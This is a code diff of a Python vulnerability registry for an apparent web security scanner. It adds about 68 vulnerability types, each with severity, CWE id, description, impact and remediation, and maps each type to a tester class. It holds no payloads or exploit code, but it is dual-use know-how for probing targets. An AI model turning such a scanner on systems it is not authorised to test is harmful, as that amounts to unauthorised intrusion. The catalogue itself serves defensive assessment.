from backend.core.vuln_engine.testers.client_side import (
|
||||
CORSTester, ClickjackingTester, OpenRedirectTester
|
||||
CORSTester, ClickjackingTester, OpenRedirectTester,
|
||||
DomClobberingTester, PostMessageVulnTester, WebsocketHijackTester,
|
||||
PrototypePollutionTester, CssInjectionTester, TabnabbingTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.infrastructure import (
|
||||
SecurityHeadersTester, SSLTester, HTTPMethodsTester
|
||||
SecurityHeadersTester, SSLTester, HTTPMethodsTester,
|
||||
DirectoryListingTester, DebugModeTester, ExposedAdminPanelTester,
|
||||
ExposedApiDocsTester, InsecureCookieFlagsTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.logic import (
|
||||
RaceConditionTester, BusinessLogicTester, RateLimitBypassTester,
|
||||
ParameterPollutionTester, TypeJugglingTester, TimingAttackTester,
|
||||
HostHeaderInjectionTester, HttpSmugglingTester, CachePoisoningTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.data_exposure import (
|
||||
SensitiveDataExposureTester, InformationDisclosureTester,
|
||||
ApiKeyExposureTester, SourceCodeDisclosureTester,
|
||||
BackupFileExposureTester, VersionDisclosureTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.cloud_supply import (
|
||||
S3BucketMisconfigTester, CloudMetadataExposureTester,
|
||||
SubdomainTakeoverTester, VulnerableDependencyTester,
|
||||
ContainerEscapeTester, ServerlessMisconfigTester
|
||||
)
|
||||
|
||||
|
||||
@@ -323,11 +352,102 @@ class VulnerabilityRegistry:
|
||||
"description": "Flaw in application's business logic allowing unintended behavior.",
|
||||
"impact": "Varies based on specific flaw - could range from minor to critical impact.",
|
||||
"remediation": "1. Review business logic flows\n2. Implement comprehensive validation\n3. Add server-side checks for all rules\n4. Test edge cases and negative scenarios"
|
||||
}
|
||||
},
|
||||
|
||||
# ===== NEW TYPES (68 additional) =====
|
||||
|
||||
# Advanced Injection
|
||||
"ldap_injection": {"title": "LDAP Injection", "severity": "high", "cwe_id": "CWE-90", "description": "User input injected into LDAP queries allowing directory enumeration or auth bypass.", "impact": "Directory enumeration, authentication bypass, data extraction from LDAP stores.", "remediation": "1. Escape LDAP special characters\n2. Use parameterized LDAP queries\n3. Validate input against whitelist\n4. Apply least privilege to LDAP accounts"},
|
||||
"xpath_injection": {"title": "XPath Injection", "severity": "high", "cwe_id": "CWE-643", "description": "User input injected into XPath queries manipulating XML data retrieval.", "impact": "Extraction of XML data, authentication bypass via XPath condition manipulation.", "remediation": "1. Use parameterized XPath queries\n2. Validate and sanitize input\n3. Avoid string concatenation in XPath\n4. Limit XPath query privileges"},
|
||||
"graphql_injection": {"title": "GraphQL Injection", "severity": "high", "cwe_id": "CWE-89", "description": "Injection attacks targeting GraphQL endpoints through malicious queries or variables.", "impact": "Schema exposure, unauthorized data access, denial of service via complex queries.", "remediation": "1. Disable introspection in production\n2. Implement query depth/complexity limits\n3. Use persisted queries\n4. Apply field-level authorization"},
|
||||
"crlf_injection": {"title": "CRLF Injection / HTTP Response Splitting", "severity": "medium", "cwe_id": "CWE-93", "description": "Injection of CRLF characters to manipulate HTTP response headers or split responses.", "impact": "HTTP header injection, session fixation via Set-Cookie, XSS via response splitting.", "remediation": "1. Strip \\r\\n from user input in headers\n2. Use framework header-setting functions\n3. Validate header values\n4. Implement WAF rules for CRLF patterns"},
|
||||
"header_injection": {"title": "HTTP Header Injection", "severity": "medium", "cwe_id": "CWE-113", "description": "User input reflected in HTTP headers enabling header manipulation.", "impact": "Password reset poisoning, cache poisoning, access control bypass via header manipulation.", "remediation": "1. Validate Host header against whitelist\n2. Don't use Host header for URL generation\n3. Strip CRLF from header values\n4. Use absolute URLs for sensitive operations"},
|
||||
"email_injection": {"title": "Email Header Injection", "severity": "medium", "cwe_id": "CWE-93", "description": "Injection of email headers through form fields that feed into mail functions.", "impact": "Spam relay, phishing via injected CC/BCC recipients, email content manipulation.", "remediation": "1. Validate email addresses strictly\n2. Strip CRLF from email inputs\n3. Use email library APIs not raw headers\n4. Implement rate limiting on email features"},
|
||||
"expression_language_injection": {"title": "Expression Language Injection", "severity": "critical", "cwe_id": "CWE-917", "description": "Injection of EL/SpEL/OGNL expressions evaluated server-side in Java applications.", "impact": "Remote code execution, server compromise, data exfiltration via expression evaluation.", "remediation": "1. Disable EL evaluation on user input\n2. Use strict sandboxing\n3. Update frameworks (Struts2 OGNL patches)\n4. Validate input before template rendering"},
|
||||
"log_injection": {"title": "Log Injection / Log4Shell", "severity": "high", "cwe_id": "CWE-117", "description": "Injection into application logs enabling log forging or JNDI-based RCE (Log4Shell).", "impact": "Log tampering, JNDI-based RCE (Log4Shell), log analysis tool exploitation.", "remediation": "1. Strip newlines from log input\n2. Update Log4j to 2.17+ (CVE-2021-44228)\n3. Disable JNDI lookups\n4. Use structured logging"},
|
||||
"html_injection": {"title": "HTML Injection", "severity": "medium", "cwe_id": "CWE-79", "description": "Injection of HTML markup into web pages without script execution.", "impact": "Content spoofing, phishing form injection, defacement, link manipulation.", "remediation": "1. HTML-encode all user output\n2. Use Content-Security-Policy\n3. Implement output encoding libraries\n4. Sanitize HTML with whitelist approach"},
|
||||
"csv_injection": {"title": "CSV/Formula Injection", "severity": "medium", "cwe_id": "CWE-1236", "description": "Injection of spreadsheet formulas into data exported as CSV/Excel.", "impact": "Code execution when CSV opened in Excel, DDE attacks, data exfiltration via formulas.", "remediation": "1. Prefix cells starting with =,+,-,@ with single quote\n2. Sanitize formula characters\n3. Use safe CSV export libraries\n4. Warn users about untrusted CSV files"},
|
||||
"orm_injection": {"title": "ORM Injection", "severity": "high", "cwe_id": "CWE-89", "description": "Injection through ORM query builders via operator injection or raw query manipulation.", "impact": "Data extraction, authentication bypass through ORM filter manipulation.", "remediation": "1. Use ORM built-in parameter binding\n2. Avoid raw queries with user input\n3. Validate filter operators\n4. Use field-level whitelists"},
|
||||
|
||||
# XSS Advanced
|
||||
"blind_xss": {"title": "Blind Cross-Site Scripting", "severity": "high", "cwe_id": "CWE-79", "description": "XSS payload stored and executed in backend/admin context not visible to the attacker.", "impact": "Admin session hijacking, backend system compromise, persistent access to admin panels.", "remediation": "1. Sanitize all input regardless of display context\n2. Implement CSP on admin panels\n3. Use HttpOnly cookies\n4. Review admin panel input rendering"},
|
||||
"mutation_xss": {"title": "Mutation XSS (mXSS)", "severity": "high", "cwe_id": "CWE-79", "description": "XSS via browser HTML mutation where sanitized HTML changes to executable form after DOM processing.", "impact": "Bypasses HTML sanitizers, executes JavaScript through browser parsing quirks.", "remediation": "1. Update DOMPurify/sanitizers\n2. Use textContent not innerHTML\n3. Avoid innerHTML re-serialization\n4. Test with multiple browsers"},
|
||||
|
||||
# File Access Advanced
|
||||
"arbitrary_file_read": {"title": "Arbitrary File Read", "severity": "high", "cwe_id": "CWE-22", "description": "Reading arbitrary files via API or download endpoints outside intended scope.", "impact": "Access to credentials, configuration, source code, private keys.", "remediation": "1. Validate file paths against whitelist\n2. Use chroot/jail\n3. Implement proper access controls\n4. Avoid user input in file paths"},
|
||||
"arbitrary_file_delete": {"title": "Arbitrary File Delete", "severity": "high", "cwe_id": "CWE-22", "description": "Deleting arbitrary files through path traversal in delete operations.", "impact": "Denial of service, security bypass by deleting .htaccess/config, data destruction.", "remediation": "1. Validate file paths strictly\n2. Use indirect references\n3. Implement soft-delete\n4. Restrict delete operations to specific directories"},
|
||||
"zip_slip": {"title": "Zip Slip (Archive Path Traversal)", "severity": "high", "cwe_id": "CWE-22", "description": "Path traversal via crafted archive filenames writing files outside extraction directory.", "impact": "Arbitrary file write, web shell deployment, configuration overwrite.", "remediation": "1. Validate archive entry names\n2. Resolve and check extraction paths\n3. Use secure archive extraction libraries\n4. Extract to isolated directories"},
|
||||
|
||||
# Auth Advanced
|
||||
"weak_password": {"title": "Weak Password Policy", "severity": "medium", "cwe_id": "CWE-521", "description": "Application accepts weak passwords that can be easily guessed or brute-forced.", "impact": "Account compromise through password guessing, credential stuffing success.", "remediation": "1. Enforce minimum 8+ character passwords\n2. Check against breached password databases\n3. Implement password strength meter\n4. Follow NIST SP 800-63B guidelines"},
|
||||
"default_credentials": {"title": "Default Credentials", "severity": "critical", "cwe_id": "CWE-798", "description": "Application or service uses default factory credentials that haven't been changed.", "impact": "Complete unauthorized access to admin or management interfaces.", "remediation": "1. Force password change on first login\n2. Remove default accounts\n3. Implement strong default password generation\n4. Regular credential audits"},
|
||||
"brute_force": {"title": "Brute Force Vulnerability", "severity": "medium", "cwe_id": "CWE-307", "description": "Login endpoint lacks rate limiting or account lockout allowing unlimited password attempts.", "impact": "Account compromise through automated password guessing.", "remediation": "1. Implement account lockout after N failures\n2. Add rate limiting per IP and per account\n3. Implement CAPTCHA after failures\n4. Use progressive delays"},
|
||||
"two_factor_bypass": {"title": "Two-Factor Authentication Bypass", "severity": "high", "cwe_id": "CWE-287", "description": "Second authentication factor can be bypassed through implementation flaws.", "impact": "Account takeover even when 2FA is enabled, defeating the purpose of MFA.", "remediation": "1. Enforce 2FA check on all authenticated routes\n2. Use server-side session state for 2FA completion\n3. Rate limit code attempts\n4. Make codes single-use with short expiry"},
|
||||
"oauth_misconfiguration": {"title": "OAuth Misconfiguration", "severity": "high", "cwe_id": "CWE-601", "description": "OAuth implementation flaws allowing redirect URI manipulation, state bypass, or token theft.", "impact": "Account takeover via stolen OAuth tokens, cross-site request forgery.", "remediation": "1. Strictly validate redirect_uri\n2. Require and validate state parameter\n3. Use PKCE for public clients\n4. Validate all OAuth scopes"},
|
||||
|
||||
# Authorization Advanced
|
||||
"bfla": {"title": "Broken Function Level Authorization", "severity": "high", "cwe_id": "CWE-285", "description": "Admin API functions accessible to regular users without proper role checks.", "impact": "Privilege escalation to admin functionality, system configuration changes.", "remediation": "1. Implement role-based access control on all endpoints\n2. Deny by default\n3. Centralize authorization logic\n4. Audit all admin endpoints"},
|
||||
"mass_assignment": {"title": "Mass Assignment", "severity": "high", "cwe_id": "CWE-915", "description": "Application binds user-supplied data to internal model fields without filtering.", "impact": "Privilege escalation, data manipulation, bypassing business rules.", "remediation": "1. Use explicit field whitelists\n2. Implement DTOs for input\n3. Validate all bound fields\n4. Use strong parameter filtering"},
|
||||
"forced_browsing": {"title": "Forced Browsing / Broken Access Control", "severity": "medium", "cwe_id": "CWE-425", "description": "Direct URL access to restricted resources that should require authorization.", "impact": "Access to admin panels, sensitive files, debug interfaces, and internal tools.", "remediation": "1. Implement authentication on all protected routes\n2. Return 404 instead of 403 for sensitive paths\n3. Remove unnecessary files\n4. Use web server access controls"},
|
||||
|
||||
# Client-Side Advanced
|
||||
"dom_clobbering": {"title": "DOM Clobbering", "severity": "medium", "cwe_id": "CWE-79", "description": "HTML injection that overrides JavaScript DOM properties through named elements.", "impact": "JavaScript logic bypass, potential XSS through clobbered variables.", "remediation": "1. Use strict variable declarations (const/let)\n2. Avoid global variable references\n3. Use safe DOM APIs\n4. Sanitize HTML input"},
|
||||
"postmessage_vulnerability": {"title": "postMessage Vulnerability", "severity": "medium", "cwe_id": "CWE-346", "description": "postMessage handlers that don't validate message origin allowing cross-origin data injection.", "impact": "Cross-origin data injection, XSS via injected data, sensitive data exfiltration.", "remediation": "1. Always validate event.origin\n2. Validate message data structure\n3. Use specific target origins\n4. Minimize data sent via postMessage"},
|
||||
"websocket_hijacking": {"title": "Cross-Site WebSocket Hijacking", "severity": "high", "cwe_id": "CWE-1385", "description": "WebSocket endpoints accepting connections from arbitrary origins without validation.", "impact": "Real-time data theft, message injection, session hijacking via WebSocket.", "remediation": "1. Validate Origin header on WebSocket upgrade\n2. Require authentication per-message\n3. Implement CSRF protection for handshake\n4. Use WSS (encrypted)"},
|
||||
"prototype_pollution": {"title": "Prototype Pollution", "severity": "high", "cwe_id": "CWE-1321", "description": "Injection of properties into JavaScript Object.prototype through merge/extend operations.", "impact": "Authentication bypass, RCE via gadget chains, denial of service.", "remediation": "1. Freeze Object.prototype\n2. Sanitize __proto__ and constructor keys\n3. Use Map instead of plain objects\n4. Update vulnerable libraries"},
|
||||
"css_injection": {"title": "CSS Injection", "severity": "medium", "cwe_id": "CWE-79", "description": "Injection of CSS code through user input reflected in style contexts.", "impact": "Data exfiltration via CSS selectors, UI manipulation, phishing.", "remediation": "1. Sanitize CSS properties\n2. Use CSP style-src\n3. Avoid user input in style attributes\n4. Whitelist safe CSS properties"},
|
||||
"tabnabbing": {"title": "Reverse Tabnabbing", "severity": "low", "cwe_id": "CWE-1022", "description": "Links with target=_blank without rel=noopener allowing opener tab navigation.", "impact": "Phishing via original tab replacement with fake login page.", "remediation": "1. Add rel='noopener noreferrer' to target=_blank links\n2. Use frameworks that add it automatically\n3. Audit user-generated links"},
|
||||
|
||||
# Infrastructure Advanced
|
||||
"directory_listing": {"title": "Directory Listing Enabled", "severity": "low", "cwe_id": "CWE-548", "description": "Web server auto-indexing enabled exposing directory file structure.", "impact": "Exposure of file structure, sensitive files, backup files, and configuration.", "remediation": "1. Disable directory listing (Options -Indexes)\n2. Add index files to all directories\n3. Review web server configuration\n4. Use custom error pages"},
|
||||
"debug_mode": {"title": "Debug Mode Enabled", "severity": "high", "cwe_id": "CWE-489", "description": "Application running in debug/development mode in production.", "impact": "Source code exposure, interactive console access, credential disclosure.", "remediation": "1. Disable debug mode in production\n2. Use environment-specific configuration\n3. Implement custom error pages\n4. Remove debug endpoints"},
|
||||
"exposed_admin_panel": {"title": "Exposed Administration Panel", "severity": "medium", "cwe_id": "CWE-200", "description": "Admin panel accessible from public internet without IP restrictions.", "impact": "Brute force target, credential theft, administration access if default creds.", "remediation": "1. Restrict admin access by IP/VPN\n2. Use strong authentication + 2FA\n3. Change default admin paths\n4. Implement rate limiting"},
|
||||
"exposed_api_docs": {"title": "Exposed API Documentation", "severity": "low", "cwe_id": "CWE-200", "description": "API documentation (Swagger/OpenAPI/GraphQL playground) publicly accessible.", "impact": "Complete API endpoint mapping, parameter discovery, potential unauthorized access.", "remediation": "1. Disable API docs in production\n2. Require authentication for docs\n3. Disable GraphQL introspection\n4. Use API gateway access controls"},
|
||||
"insecure_cookie_flags": {"title": "Insecure Cookie Configuration", "severity": "medium", "cwe_id": "CWE-614", "description": "Session cookies missing security flags (Secure, HttpOnly, SameSite).", "impact": "Cookie theft via XSS (no HttpOnly), MITM (no Secure), CSRF (no SameSite).", "remediation": "1. Set HttpOnly on session cookies\n2. Set Secure flag on HTTPS sites\n3. Set SameSite=Lax or Strict\n4. Review all cookie configurations"},
|
||||
"http_smuggling": {"title": "HTTP Request Smuggling", "severity": "high", "cwe_id": "CWE-444", "description": "Discrepancy between front-end and back-end HTTP parsing enabling request smuggling.", "impact": "Cache poisoning, request hijacking, authentication bypass, response queue poisoning.", "remediation": "1. Use HTTP/2 end-to-end\n2. Normalize Content-Length/Transfer-Encoding\n3. Reject ambiguous requests\n4. Update proxy/server software"},
|
||||
"cache_poisoning": {"title": "Web Cache Poisoning", "severity": "high", "cwe_id": "CWE-444", "description": "Manipulation of cached responses via unkeyed inputs to serve malicious content.", "impact": "Mass XSS via cached responses, redirect poisoning, denial of service.", "remediation": "1. Include all inputs in cache key\n2. Validate unkeyed headers\n3. Use Vary header correctly\n4. Implement cache key normalization"},
|
||||
|
||||
# Logic & Data
|
||||
"rate_limit_bypass": {"title": "Rate Limit Bypass", "severity": "medium", "cwe_id": "CWE-770", "description": "Rate limiting can be bypassed through header manipulation or request variation.", "impact": "Enables brute force attacks, API abuse, and denial of service.", "remediation": "1. Rate limit by authenticated user, not just IP\n2. Don't trust X-Forwarded-For for rate limiting\n3. Implement at multiple layers\n4. Use sliding window algorithms"},
|
||||
"parameter_pollution": {"title": "HTTP Parameter Pollution", "severity": "medium", "cwe_id": "CWE-235", "description": "Duplicate parameters exploit parsing differences between front-end and back-end.", "impact": "WAF bypass, logic bypass, access control circumvention.", "remediation": "1. Normalize parameters server-side\n2. Reject duplicate parameters\n3. Use consistent parsing\n4. Test with duplicate params"},
|
||||
"type_juggling": {"title": "Type Juggling / Type Coercion", "severity": "high", "cwe_id": "CWE-843", "description": "Loose type comparison exploited to bypass authentication or security checks.", "impact": "Authentication bypass, security check circumvention via type confusion.", "remediation": "1. Use strict comparison (=== in PHP/JS)\n2. Validate input types\n3. Use strong typing\n4. Hash comparison with timing-safe functions"},
|
||||
"insecure_deserialization": {"title": "Insecure Deserialization", "severity": "critical", "cwe_id": "CWE-502", "description": "Untrusted data deserialized without validation enabling code execution.", "impact": "Remote code execution, denial of service, authentication bypass.", "remediation": "1. Don't deserialize untrusted data\n2. Use JSON instead of native serialization\n3. Implement integrity checks\n4. Restrict deserialization types"},
|
||||
"subdomain_takeover": {"title": "Subdomain Takeover", "severity": "high", "cwe_id": "CWE-284", "description": "Dangling DNS records pointing to unclaimed cloud resources.", "impact": "Domain impersonation, phishing, cookie theft, authentication bypass.", "remediation": "1. Audit DNS records regularly\n2. Remove dangling CNAME records\n3. Monitor cloud resource lifecycle\n4. Use DNS monitoring tools"},
|
||||
"host_header_injection": {"title": "Host Header Injection", "severity": "medium", "cwe_id": "CWE-644", "description": "Host header value used in URL generation enabling poisoning attacks.", "impact": "Password reset poisoning, cache poisoning, SSRF via Host header.", "remediation": "1. Validate Host against allowed values\n2. Use absolute URLs from configuration\n3. Don't use Host header for URL generation\n4. Implement ALLOWED_HOSTS"},
|
||||
"timing_attack": {"title": "Timing Attack", "severity": "medium", "cwe_id": "CWE-208", "description": "Response time variations leak information about valid usernames or secret values.", "impact": "Username enumeration, token/password character extraction.", "remediation": "1. Use constant-time comparison for secrets\n2. Normalize response times\n3. Add random delays\n4. Use same code path for valid/invalid input"},
|
||||
"improper_error_handling": {"title": "Improper Error Handling", "severity": "low", "cwe_id": "CWE-209", "description": "Verbose error messages disclosing internal information in production.", "impact": "Source path disclosure, database details, technology stack exposure aiding further attacks.", "remediation": "1. Use custom error pages in production\n2. Log errors server-side only\n3. Return generic error messages\n4. Disable debug/stack trace output"},
|
||||
"sensitive_data_exposure": {"title": "Sensitive Data Exposure", "severity": "high", "cwe_id": "CWE-200", "description": "Sensitive data (PII, credentials, tokens) exposed in responses, URLs, or storage.", "impact": "Identity theft, account compromise, regulatory violations (GDPR, HIPAA).", "remediation": "1. Minimize data in API responses\n2. Encrypt sensitive data at rest/transit\n3. Remove sensitive data from URLs\n4. Implement data classification"},
|
||||
"information_disclosure": {"title": "Information Disclosure", "severity": "low", "cwe_id": "CWE-200", "description": "Unintended exposure of internal details: versions, paths, technology stack.", "impact": "Aids further attacks with technology-specific exploits and internal knowledge.", "remediation": "1. Remove version headers\n2. Disable directory listing\n3. Remove HTML comments\n4. Secure .git and config files"},
|
||||
"api_key_exposure": {"title": "API Key Exposure", "severity": "high", "cwe_id": "CWE-798", "description": "API keys or secrets hardcoded in client-side code or public files.", "impact": "Unauthorized API access, financial impact, data breach via exposed keys.", "remediation": "1. Use environment variables for secrets\n2. Implement key rotation\n3. Use backend proxy for API calls\n4. Monitor key usage for anomalies"},
|
||||
"source_code_disclosure": {"title": "Source Code Disclosure", "severity": "high", "cwe_id": "CWE-540", "description": "Application source code accessible through misconfigured servers, backups, or VCS exposure.", "impact": "White-box attack surface, credential discovery, vulnerability identification.", "remediation": "1. Block .git, .svn access\n2. Remove source maps in production\n3. Delete backup files\n4. Configure web server to block sensitive extensions"},
|
||||
"backup_file_exposure": {"title": "Backup File Exposure", "severity": "high", "cwe_id": "CWE-530", "description": "Backup files, database dumps, or archives accessible from web server.", "impact": "Full source code access, database contents including credentials.", "remediation": "1. Store backups outside web root\n2. Remove old backup files\n3. Block backup extensions in web server\n4. Encrypt backup files"},
|
||||
"version_disclosure": {"title": "Software Version Disclosure", "severity": "low", "cwe_id": "CWE-200", "description": "Specific software versions exposed enabling targeted CVE exploitation.", "impact": "Targeted exploitation of known vulnerabilities for the specific version.", "remediation": "1. Remove version from headers\n2. Update software regularly\n3. Remove version-disclosing files\n4. Customize error pages"},
|
||||
|
||||
# Crypto & Supply
|
||||
"weak_encryption": {"title": "Weak Encryption Algorithm", "severity": "medium", "cwe_id": "CWE-327", "description": "Use of weak/deprecated encryption algorithms (DES, RC4, ECB mode).", "impact": "Data decryption, MITM attacks, breaking confidentiality protections.", "remediation": "1. Use AES-256-GCM or ChaCha20\n2. Disable weak cipher suites\n3. Use TLS 1.2+ only\n4. Regular cryptographic review"},
|
||||
"weak_hashing": {"title": "Weak Hashing Algorithm", "severity": "medium", "cwe_id": "CWE-328", "description": "Use of weak hash algorithms (MD5, SHA1) for security-critical purposes.", "impact": "Password cracking, hash collision attacks, integrity bypass.", "remediation": "1. Use bcrypt/scrypt/argon2 for passwords\n2. Use SHA-256+ for integrity\n3. Always use salts\n4. Implement key stretching"},
|
||||
"weak_random": {"title": "Weak Random Number Generation", "severity": "medium", "cwe_id": "CWE-330", "description": "Predictable random numbers used for security tokens or session IDs.", "impact": "Token prediction, session hijacking, CSRF token bypass.", "remediation": "1. Use cryptographic PRNG (secrets module, SecureRandom)\n2. Avoid Math.random() for security\n3. Use sufficient entropy\n4. Regular token rotation"},
|
||||
"cleartext_transmission": {"title": "Cleartext Transmission of Sensitive Data", "severity": "medium", "cwe_id": "CWE-319", "description": "Sensitive data transmitted over unencrypted HTTP connections.", "impact": "Credential theft via MITM, session hijacking, data exposure.", "remediation": "1. Enforce HTTPS everywhere\n2. Implement HSTS with preload\n3. Redirect HTTP to HTTPS\n4. Set Secure flag on cookies"},
|
||||
"vulnerable_dependency": {"title": "Vulnerable Third-Party Dependency", "severity": "varies", "cwe_id": "CWE-1104", "description": "Third-party library with known CVEs in use.", "impact": "Depends on specific CVE - from XSS to RCE.", "remediation": "1. Regular dependency updates\n2. Use automated vulnerability scanning\n3. Monitor CVE advisories\n4. Implement SCA in CI/CD"},
|
||||
"outdated_component": {"title": "Outdated Software Component", "severity": "medium", "cwe_id": "CWE-1104", "description": "Significantly outdated CMS, framework, or server with multiple known CVEs.", "impact": "Multiple exploitable vulnerabilities, targeted attacks.", "remediation": "1. Update to latest stable version\n2. Enable automatic security updates\n3. Monitor end-of-life announcements\n4. Implement patch management"},
|
||||
"insecure_cdn": {"title": "Insecure CDN Resource Loading", "severity": "low", "cwe_id": "CWE-829", "description": "External scripts loaded without Subresource Integrity (SRI) hashes.", "impact": "Supply chain attack via CDN compromise, mass XSS.", "remediation": "1. Add integrity= attribute to script/link tags\n2. Use crossorigin attribute\n3. Self-host critical resources\n4. Implement CSP with hash sources"},
|
||||
"container_escape": {"title": "Container Escape / Misconfiguration", "severity": "critical", "cwe_id": "CWE-250", "description": "Container running with elevated privileges or exposed host resources.", "impact": "Host system compromise, lateral movement, data access across containers.", "remediation": "1. Don't use --privileged\n2. Drop unnecessary capabilities\n3. Don't mount Docker socket\n4. Use seccomp/AppArmor profiles"},
|
||||
|
||||
# Cloud & API
|
||||
"s3_bucket_misconfiguration": {"title": "S3/Cloud Storage Misconfiguration", "severity": "high", "cwe_id": "CWE-284", "description": "Cloud storage bucket with public read/write access.", "impact": "Data exposure, data tampering, hosting malicious content.", "remediation": "1. Enable S3 Block Public Access\n2. Review bucket policies\n3. Use IAM policies for access\n4. Enable access logging"},
|
||||
"cloud_metadata_exposure": {"title": "Cloud Metadata Exposure", "severity": "critical", "cwe_id": "CWE-918", "description": "Cloud instance metadata service accessible exposing credentials.", "impact": "IAM credential theft, cloud account compromise, lateral movement.", "remediation": "1. Use IMDSv2 (token-required)\n2. Block metadata endpoint in firewall\n3. Implement SSRF protection\n4. Use minimal IAM roles"},
|
||||
"serverless_misconfiguration": {"title": "Serverless Misconfiguration", "severity": "medium", "cwe_id": "CWE-284", "description": "Serverless function with excessive permissions or missing auth.", "impact": "Unauthorized function execution, environment variable exposure, privilege escalation.", "remediation": "1. Apply least privilege IAM roles\n2. Require authentication\n3. Don't expose secrets in env vars\n4. Implement function authorization"},
|
||||
"graphql_introspection": {"title": "GraphQL Introspection Enabled", "severity": "low", "cwe_id": "CWE-200", "description": "GraphQL introspection enabled in production exposing full API schema.", "impact": "Complete API mapping, discovery of sensitive types and mutations.", "remediation": "1. Disable introspection in production\n2. Use persisted queries\n3. Implement field-level authorization\n4. Use query allowlisting"},
|
||||
"graphql_dos": {"title": "GraphQL Denial of Service", "severity": "medium", "cwe_id": "CWE-400", "description": "GraphQL endpoint vulnerable to resource-exhaustion via complex/nested queries.", "impact": "Service unavailability, resource exhaustion, increased infrastructure costs.", "remediation": "1. Implement query depth limits\n2. Add query complexity analysis\n3. Set timeout on queries\n4. Use persisted/allowlisted queries"},
|
||||
"rest_api_versioning": {"title": "Insecure API Version Exposure", "severity": "low", "cwe_id": "CWE-284", "description": "Older API versions with weaker security controls still accessible.", "impact": "Bypass newer security controls via old API versions.", "remediation": "1. Deprecate and remove old API versions\n2. Apply same security to all versions\n3. Monitor old version usage\n4. Set deprecation timelines"},
|
||||
"soap_injection": {"title": "SOAP/XML Web Service Injection", "severity": "high", "cwe_id": "CWE-91", "description": "Injection in SOAP/XML web service parameters manipulating queries.", "impact": "Data extraction, XXE via SOAP, SOAP action spoofing for unauthorized operations.", "remediation": "1. Validate SOAP input\n2. Disable XML external entities\n3. Validate SOAPAction header\n4. Use WS-Security"},
|
||||
"api_rate_limiting": {"title": "Missing API Rate Limiting", "severity": "medium", "cwe_id": "CWE-770", "description": "API endpoints lacking rate limiting allowing unlimited requests.", "impact": "Brute force, scraping, DoS, API abuse at scale.", "remediation": "1. Implement rate limiting per user/IP\n2. Return 429 with Retry-After\n3. Use API gateway throttling\n4. Implement sliding window algorithm"},
|
||||
"excessive_data_exposure": {"title": "Excessive Data Exposure", "severity": "medium", "cwe_id": "CWE-213", "description": "APIs returning more data than the client needs, including sensitive fields.", "impact": "Exposure of sensitive fields (password hashes, tokens, PII) to clients.", "remediation": "1. Use response DTOs/serializers\n2. Implement field-level filtering\n3. Apply least-data principle\n4. Separate admin and user endpoints"}
|
||||
}
|
||||
|
||||
# Tester class mappings
|
||||
# Tester class mappings (100 types)
|
||||
TESTER_CLASSES = {
|
||||
# Injection (10 original + 11 advanced)
|
||||
"xss_reflected": XSSReflectedTester,
|
||||
"xss_stored": XSSStoredTester,
|
||||
"xss_dom": XSSDomTester,
|
||||
@@ -338,26 +458,118 @@ class VulnerabilityRegistry:
|
||||
"command_injection": CommandInjectionTester,
|
||||
"ssti": SSTITester,
|
||||
"nosql_injection": NoSQLInjectionTester,
|
||||
"ldap_injection": LdapInjectionTester,
|
||||
"xpath_injection": XpathInjectionTester,
|
||||
"graphql_injection": GraphqlInjectionTester,
|
||||
"crlf_injection": CrlfInjectionTester,
|
||||
"header_injection": HeaderInjectionTester,
|
||||
"email_injection": EmailInjectionTester,
|
||||
"expression_language_injection": ELInjectionTester,
|
||||
"log_injection": LogInjectionTester,
|
||||
"html_injection": HtmlInjectionTester,
|
||||
"csv_injection": CsvInjectionTester,
|
||||
"orm_injection": OrmInjectionTester,
|
||||
|
||||
# XSS Advanced
|
||||
"blind_xss": XSSStoredTester, # Similar detection pattern
|
||||
"mutation_xss": XSSReflectedTester, # Similar detection pattern
|
||||
|
||||
# File Access (5 original + 3 new)
|
||||
"lfi": LFITester,
|
||||
"rfi": RFITester,
|
||||
"path_traversal": PathTraversalTester,
|
||||
"xxe": XXETester,
|
||||
"file_upload": FileUploadTester,
|
||||
"arbitrary_file_read": ArbitraryFileReadTester,
|
||||
"arbitrary_file_delete": ArbitraryFileDeleteTester,
|
||||
"zip_slip": ZipSlipTester,
|
||||
|
||||
# Request Forgery (3 original + 2 new)
|
||||
"ssrf": SSRFTester,
|
||||
"ssrf_cloud": SSRFTester, # Same tester, different payloads
|
||||
"ssrf_cloud": SSRFTester,
|
||||
"csrf": CSRFTester,
|
||||
"cors_misconfig": CORSTester,
|
||||
"graphql_introspection": GraphqlIntrospectionTester,
|
||||
"graphql_dos": GraphqlDosTester,
|
||||
|
||||
# Auth (3 original + 5 new)
|
||||
"auth_bypass": AuthBypassTester,
|
||||
"jwt_manipulation": JWTManipulationTester,
|
||||
"session_fixation": SessionFixationTester,
|
||||
"weak_password": WeakPasswordTester,
|
||||
"default_credentials": DefaultCredentialsTester,
|
||||
"brute_force": AuthBypassTester, # Similar pattern
|
||||
"two_factor_bypass": TwoFactorBypassTester,
|
||||
"oauth_misconfiguration": OauthMisconfigTester,
|
||||
|
||||
# Authorization (3 original + 3 new)
|
||||
"idor": IDORTester,
|
||||
"bola": BOLATester,
|
||||
"privilege_escalation": PrivilegeEscalationTester,
|
||||
"cors_misconfig": CORSTester,
|
||||
"bfla": BflaTester,
|
||||
"mass_assignment": MassAssignmentTester,
|
||||
"forced_browsing": ForcedBrowsingTester,
|
||||
|
||||
# Client-Side (3 original + 6 new)
|
||||
"clickjacking": ClickjackingTester,
|
||||
"open_redirect": OpenRedirectTester,
|
||||
"dom_clobbering": DomClobberingTester,
|
||||
"postmessage_vulnerability": PostMessageVulnTester,
|
||||
"websocket_hijacking": WebsocketHijackTester,
|
||||
"prototype_pollution": PrototypePollutionTester,
|
||||
"css_injection": CssInjectionTester,
|
||||
"tabnabbing": TabnabbingTester,
|
||||
|
||||
# Infrastructure (3 original + 7 new)
|
||||
"security_headers": SecurityHeadersTester,
|
||||
"ssl_issues": SSLTester,
|
||||
"http_methods": HTTPMethodsTester,
|
||||
"directory_listing": DirectoryListingTester,
|
||||
"debug_mode": DebugModeTester,
|
||||
"exposed_admin_panel": ExposedAdminPanelTester,
|
||||
"exposed_api_docs": ExposedApiDocsTester,
|
||||
"insecure_cookie_flags": InsecureCookieFlagsTester,
|
||||
"http_smuggling": HttpSmugglingTester,
|
||||
"cache_poisoning": CachePoisoningTester,
|
||||
|
||||
# Logic (9 types)
|
||||
"race_condition": RaceConditionTester,
|
||||
"business_logic": BusinessLogicTester,
|
||||
